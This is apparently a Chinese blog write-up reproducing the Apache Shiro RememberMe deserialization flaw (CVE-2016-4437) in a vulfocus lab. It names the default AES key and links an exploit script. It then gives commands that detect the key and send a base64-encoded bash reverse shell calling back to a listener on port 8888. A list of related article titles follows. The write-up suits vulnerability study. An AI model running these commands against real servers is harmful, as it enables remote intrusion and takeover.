一、原理分析

Shiro提供了记住我(RememberMe)的功能,比如访问淘宝等网站时,关闭了浏览器下次再打开时还是能够记住上次访问过的用户,下次访问时无需再登录即可访问

Shiro会对cookie中的Remember me字段进行相关处理:序列化-->AES加密-->base64编码

由于Shiro本身含有一个预设的AES密钥Base64.decode("KPHblxk5D2deZilxcaaaA=="),每个人都能够通过源代码拿到该密钥,因此攻击者可以构造一个恶意的对象,对其进行序列化并用该密钥进行加密,base64编码,最后作为cookie中的Remember me字段发送。Shiro得到该Remember me字段后进行解码解密并且反序列化,进而导致任意命令执行

影响版本:Apache Shiro <= 1.2.4

二、环境准备

1、https://vulfocus.cn/平台搜索:shiro-cve_2016_4437,启动环境

2、一台公网服务器(没有的可以自己找环境搭建一个本地的环境)

3、利用脚本及ysoserial.jar下载地址:https://github.com/insightglacier/Shiro_exploit,脚本中的所有sleep都把他注释掉,不然可能会很慢。

三、漏洞复现

1、访问环境

2、用默认root账号密码登录,记得勾选上Remember Me

3、可以先用脚本测试下是否存在漏洞,脚本中也列出了比较多的key,可以测试出是采用了哪个key

python3 shiro_exploit.py -u http://123.58.224.8:42716

最终测试出,存在该漏洞,采用的key是 kPH+bIxk5D2deZiIxcaaaA==

又到了令人兴奋的利用环节了

先启动监听

再打开一个新的shell窗口,执行:

python3 shiro_exploit.py -t 3 -u http://123.58.224.8:30771/ -p "bash -c {echo,YmFzaCAt ************************************************JjE=}|{base64,-d}|{bash,-i}"

其中-u后面跟的是目标地址,-p后面是bash反弹shell的一种base64加密后的写法,里面echo后面的那串base64字符就是bash -i >& /dev/tcp/192.168.137.120/8888 0>&1经过base64加密后的

执行后过会儿就可以看到shell反弹过来了

四、参考链接

1、https://blog.csdn.net/weixin_42019588/article/details/113395928

2、https://www.freebuf.com/vuls/284529.html

3、https://zhuanlan.zhihu.com/p/389768500

Apache shiro反序列化(CVE-2016-4437)复现相关推荐

  1. 【漏洞复现】Apache Shiro 反序列化漏洞

    Apache Shiro 反序列化漏洞 一.简介 二.环境 三.漏洞原理 四.AES秘钥 1.判断AES秘钥 五.Shiro rememberMe反序列化漏洞(Shiro-550) 1.版本1.4.2 ...

  2. Apache Shiro 反序列化漏洞 [org.apache.shiro.web.mgt.CookieRememberMeManager]

    Apache Shiro 反序列化漏洞 2021-02-06 02:34:09,886 [http-bio-8000-exec-18] WARN  [org.apache.shiro.mgt.Defa ...

  3. shiro反序列化漏洞学习(工具+原理+复现)

    工具准备 1.java8 C:\Program Files\Java 2.冰蝎 C:\Users\ali\Desktop\tools\Behinder_v4.0.6 3.shiro反序列化 图形化工具 ...

  4. 4加密问题漏洞修复_Apache Shiro 反序列化漏洞实战

    Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理.2016年,网络中曝光1.2.4以前的版本存在反序列化漏洞.尽管该漏洞已经曝光几年,但是在实战中仍然比较实用.花了点 ...

  5. Apache shiro 漏洞总结

    目录 Shiro简介 漏洞复现 CVE-2016-4437(Apache shiro反序列化漏洞) 影响版本 指纹信息 漏洞原理 环境搭建 漏洞复现 CVE-2020-1957(Shiro 认证绕过漏 ...

  6. Shiro反序列化漏洞利用详解(Shiro-550+Shiro-721)

    Shiro反序列化漏洞利用详解(Shiro-550+Shiro-721) Shiro简介 Apache Shiro 是一个强大易用的Java安全框架,提供了认证.授权.加密和会话管理等功能,Shiro ...

  7. aes key长度_原创 | 浅谈Shiro反序列化获取Key的几种方式

    点击"关注"了解更多信息 关于Apache Shiro反序列化 在shiro≤1.2.4版本,默认使⽤了CookieRememberMeManager,由于AES使用的key泄露, ...

  8. Apache Shiro remember Me反序列化漏洞(Shiro 550)复现

    Apache Shiro remember Me反序列化漏洞(Shiro 550)复现 什么是Shiro Apache Shiro™是一个强大且易用的Java安全框架,能够用于身份验证.授权.加密和会 ...

  9. Apache Commons Collections反序列化漏洞分析与复现

     聚焦源代码安全,网罗国内外最新资讯! 1.1 状态 完成漏洞挖掘条件分析.漏洞复现. 1.2 漏洞分析 存在安全缺陷的版本:Apache Commons Collections3.2.1以下,[JD ...

最新文章

  1. 第三届山西省赛1004 一道大水题(scanf)
  2. ImageView宽度填满屏幕,高度自适应
  3. android toast有焦点,android – 如何在显示Toast后进行edittext自动对焦?
  4. 回答网友提问:如何自学 SAP 电商云,销售云,营销云这些产品的业务知识?
  5. 走近webpack(1)--多入口及devServer的使用
  6. sqlserver 字符串转换成日期、int与varchar类型转换及保留两位小数
  7. 【前端安全】JavaScript防http劫持与XSS (转)
  8. JS判断浏览器语言及终端类型(android/ios)
  9. Java并发编程实战读书笔记之死锁
  10. ClearCase项目管理介绍
  11. 第8集丨流氓皇帝,贬谪之路,险象环生
  12. LWN:32位Linux的未来!
  13. linux cpu占用分析,Linux下CPU占用率高分析方法
  14. RK3399 hi3559A 平台离线语音识别、合成、翻译、声纹
  15. 一个奇鸽船新体验:类似的木函软件
  16. Lyx使用对中文进行编译
  17. Win7 64bit 安装AutoCAD 2008
  18. Debian11.2安装Python3.10.5
  19. 时间控件-时分秒/分秒/年月日
  20. 基于PaddleDetection-YOLOV3做一个完整的图形目标检测项目

热门文章

  1. 基于php的校园公寓管理系统设计与实现
  2. Arduino门禁控制
  3. rt5350 h264 sn9c291 的RTSP 延时测试
  4. 开机出现Oxc000000e故障的解决方法
  5. 台达plc接线图实物_西门子plc接线图实物图
  6. Marvell 88e6131路由器芯片学习笔记
  7. 基于 RDD 的分布式数据处理实验(pyspark)
  8. 利用C语言实现二叉搜索树的遍历、查找、插入、删除
  9. 计组-booth乘法-谈原理和实现
  10. C-DOCSIS PHS,服务组